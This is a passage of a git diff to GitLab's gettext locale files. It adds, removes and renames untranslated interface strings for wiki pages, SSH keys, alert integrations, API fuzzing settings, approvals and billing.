msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index ec8d585fff0..a9e8905c04e 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:10\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
